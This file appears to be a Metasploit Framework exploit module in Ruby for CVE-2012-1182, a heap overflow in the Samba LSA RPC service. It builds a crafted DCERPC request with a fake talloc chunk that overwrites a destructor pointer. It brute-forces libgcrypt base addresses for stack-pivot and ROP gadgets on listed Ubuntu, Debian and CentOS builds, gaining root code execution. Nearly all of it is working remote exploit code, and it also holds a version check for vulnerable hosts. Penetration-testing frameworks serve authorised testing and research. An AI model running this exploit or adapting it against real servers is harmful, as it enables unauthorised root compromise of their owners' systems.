396 lines
13 KiB
Ruby
396 lines
13 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB
|
|
include Msf::Exploit::RopDb
|
|
include Msf::Exploit::Brute
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
|
|
'Description' => %q{
|
|
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
|
|
because of an error on the PIDL auto-generated code. Making a specially crafted
|
|
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
|
|
trigger a heap overflow and finally execute arbitrary code with root privileges.
|
|
|
|
The module uses brute force to guess the stackpivot/rop chain or the system()
|
|
address and redirect flow there in order to bypass NX. The start and stop addresses
|
|
for brute forcing have been calculated empirically. On the other hand the module
|
|
provides the StartBrute and StopBrute which allow the user to configure his own
|
|
addresses.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'blasty', # Exploit
|
|
'mephos', # Metasploit module
|
|
'sinn3r', # Metasploit module
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2012-1182'],
|
|
['OSVDB', '81303'],
|
|
['BID', '52973'],
|
|
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 600,
|
|
},
|
|
'Platform' => ['unix', 'linux'],
|
|
# smbd process is killed soon after being exploited, need fork with meterpreter
|
|
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
|
|
'Targets' =>
|
|
[
|
|
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
|
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
|
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
|
|
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
|
|
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
|
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
|
|
# to effectively stack pivot
|
|
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb6973000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
|
|
#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
|
# {
|
|
# 'Arch' => ARCH_CMD,
|
|
# 'Offset' => 0x11c0,
|
|
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
|
|
# 'Stackpivot' => 0,
|
|
# 'Bruteforce' =>
|
|
# {
|
|
# # The start should be 0x950 aligned, and then step 0x1000.
|
|
# 'Start' => { 'Ret' => 0x00230950 },
|
|
# 'Stop' => { 'Ret' => 0x22a00950 },
|
|
# 'Step' => 0x1000
|
|
# }
|
|
# }
|
|
#],
|
|
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
|
|
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb694f000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
|
|
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0xb6962000 },
|
|
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
],
|
|
['3.5.10-0.107.el5 on CentOS 5',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Offset' => 0x11c0,
|
|
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
|
|
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
|
|
'Bruteforce' =>
|
|
{
|
|
'Start' => { 'libgcrypt_base' => 0x0037c000 },
|
|
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
|
|
'Step' => 0x1000
|
|
}
|
|
}
|
|
]
|
|
|
|
],
|
|
'DisclosureDate' => 'Apr 10 2012',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
|
|
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def exploit
|
|
if target.bruteforce?
|
|
bf = target.bruteforce
|
|
|
|
if datastore['StartBrute'] and datastore['StartBrute'] > 0
|
|
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
|
|
end
|
|
|
|
if datastore['StopBrute'] and datastore['StopBrute'] > 0
|
|
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
|
|
end
|
|
|
|
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
|
|
raise ArgumentError, "StartBrute should not be larger than StopBrute"
|
|
end
|
|
end
|
|
super
|
|
end
|
|
|
|
def brute_exploit(target_addrs)
|
|
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
|
|
datastore['DCERPC::fake_bind_multi'] = false
|
|
datastore['DCERPC::max_frag_size'] = 4248
|
|
datastore['DCERPC::smb_pipeio'] = 'trans'
|
|
datastore['DCERPC::ReadTimeout'] = 3
|
|
|
|
pipe = "lsarpc"
|
|
|
|
|
|
connect()
|
|
smb_login()
|
|
|
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
|
dcerpc_bind(handle)
|
|
dcerpc.socket.mode = 'rw'
|
|
# revert for other exploits
|
|
datastore['DCERPC::smb_pipeio'] = 'rw'
|
|
|
|
cmd = ";;;;" # padding
|
|
helper = 0
|
|
if target['Arch'] == ARCH_CMD
|
|
cmd << "#{payload.encoded}\x00" # system argument
|
|
tmp = cmd * (816/cmd.length)
|
|
tmp << "\x00"*(816-tmp.length)
|
|
ret_addr = addr
|
|
elsif target['Arch'] == ARCH_X86
|
|
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
|
|
tmp = cmd
|
|
tmp << "\x00"*(816-tmp.length)
|
|
ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
|
|
# will help in stack pivot when it's not eax pointing to shellcode
|
|
if target['Stackpivot_helper']
|
|
helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
|
|
end
|
|
end
|
|
|
|
stub = "X" * 20
|
|
|
|
stub << NDR.short(2) # level
|
|
stub << NDR.short(2) # level 2
|
|
stub << NDR.long(1) # auditing mode
|
|
stub << NDR.long(1) # ptr
|
|
stub << NDR.long(100000) # r-> count
|
|
stub << NDR.long(20) # array size
|
|
stub << NDR.long(0)
|
|
stub << NDR.long(100)
|
|
stub << rand_text_alpha(target['Offset'])
|
|
# Crafted talloc chunk
|
|
#stub << 'A' * 8 # next, prev
|
|
stub << NDR.long(helper) + 'A'*4 # next, prev
|
|
stub << NDR.long(0) + NDR.long(0) # parent, child
|
|
stub << NDR.long(0) # refs
|
|
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
|
|
stub << NDR.long(ret_addr) # destructor # will become EIP
|
|
stub << NDR.long(0) # name
|
|
stub << "AAAA" # size
|
|
stub << NDR.long(0xe8150c70) # flags
|
|
stub << "AAAABBBB"
|
|
stub << tmp # pointer to tmp+4 in $esp
|
|
stub << rand_text(32632)
|
|
stub << rand_text(62000)
|
|
|
|
begin
|
|
call(dcerpc, 0x08, stub)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
print_error('Server is most likely patched...')
|
|
rescue Timeout::Error
|
|
print_status("Timeout")
|
|
rescue Rex::Proto::SMB::Exceptions::LoginError
|
|
print_status("Rex::Proto::SMB::Exceptions::LoginError")
|
|
rescue => e
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
|
print_status('Server disconnected, this is expected')
|
|
end
|
|
end
|
|
handler()
|
|
disconnect()
|
|
end
|
|
|
|
def check
|
|
begin
|
|
connect()
|
|
smb_login()
|
|
disconnect()
|
|
|
|
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
|
|
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
|
|
print_status("Version found: #{version}")
|
|
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
|
|
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
rescue ::Exception
|
|
return CheckCode::Unknown
|
|
end
|
|
end
|
|
|
|
# Perform a DCE/RPC Function Call
|
|
def call(dcerpc, function, data, do_recv = true)
|
|
|
|
frag_size = data.length
|
|
if dcerpc.options['frag_size']
|
|
frag_size = dcerpc.options['frag_size']
|
|
end
|
|
object_id = ''
|
|
if dcerpc.options['object_call']
|
|
object_id = dcerpc.handle.uuid[0]
|
|
end
|
|
if options['random_object_id']
|
|
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
|
|
end
|
|
|
|
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
|
|
call_packets.each { |packet|
|
|
write(dcerpc, packet)
|
|
}
|
|
|
|
return true if not do_recv
|
|
|
|
raw_response = ''
|
|
|
|
begin
|
|
raw_response = dcerpc.read()
|
|
rescue ::EOFError
|
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
if (raw_response == nil or raw_response.length == 0)
|
|
raise Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
|
|
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
|
|
|
|
if dcerpc.last_response.type == 3
|
|
e = Rex::Proto::DCERPC::Exceptions::Fault.new
|
|
e.fault = dcerpc.last_response.status
|
|
raise e
|
|
end
|
|
|
|
dcerpc.last_response.stub_data
|
|
end
|
|
|
|
# Used to create standard DCERPC REQUEST packet(s)
|
|
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
|
|
|
|
opnum = opnum.to_i
|
|
size = size.to_i
|
|
ctx = ctx.to_i
|
|
|
|
chunks, frags = [], []
|
|
ptr = 0
|
|
|
|
# Break the request into fragments of 'size' bytes
|
|
while ptr < data.length
|
|
chunks.push( data[ ptr, size ] )
|
|
ptr += size
|
|
end
|
|
|
|
# Process requests with no stub data
|
|
if chunks.length == 0
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
|
|
return frags
|
|
end
|
|
|
|
# Process requests with only one fragment
|
|
if chunks.length == 1
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
|
|
return frags
|
|
end
|
|
|
|
# Create the first fragment of the request
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
|
|
|
|
# Create all of the middle fragments
|
|
while chunks.length != 1
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
|
|
end
|
|
|
|
# Create the last fragment of the request
|
|
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
|
|
|
|
return frags
|
|
end
|
|
|
|
# Write data to the underlying socket
|
|
def write(dcerpc, data)
|
|
dcerpc.socket.write(data)
|
|
data.length
|
|
end
|
|
|
|
end
|
|
|